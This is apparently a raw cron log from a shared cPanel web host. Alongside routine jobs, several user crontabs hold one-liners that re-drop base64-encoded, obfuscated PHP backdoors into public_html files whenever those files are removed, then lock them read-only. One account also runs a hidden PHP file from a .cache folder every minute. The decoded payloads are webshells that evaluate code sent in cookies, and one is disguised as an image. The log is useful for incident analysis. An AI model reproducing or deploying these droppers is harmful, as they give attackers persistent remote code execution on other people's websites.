Jun  7 08:56:01 medusa CROND[15651]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 08:56:01 medusa CROND[15652]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:56:01 medusa CROND[15653]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:56:01 medusa CROND[15654]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 08:56:01 medusa CROND[15655]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:56:01 medusa CROND[15661]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:56:01 medusa CROND[15663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:56:01 medusa CROND[15665]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:56:01 medusa CROND[15662]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:56:01 medusa CROND[15659]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:57:01 medusa CROND[17170]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 08:57:01 medusa CROND[17172]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:57:01 medusa CROND[17173]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:57:01 medusa CROND[17174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:57:01 medusa CROND[17175]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:57:01 medusa CROND[17176]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:57:01 medusa CROND[17177]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:57:01 medusa CROND[17178]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:57:01 medusa CROND[17181]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:57:01 medusa CROND[17182]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:57:01 medusa CROND[17184]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:57:01 medusa CROND[17189]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:58:01 medusa CROND[18747]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 08:58:01 medusa CROND[18753]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:58:01 medusa CROND[18754]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:58:01 medusa CROND[18755]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:58:01 medusa CROND[18756]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:58:01 medusa CROND[18758]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Jun  7 08:58:01 medusa CROND[18757]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:58:01 medusa CROND[18760]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:58:01 medusa CROND[18761]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:58:01 medusa CROND[18762]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
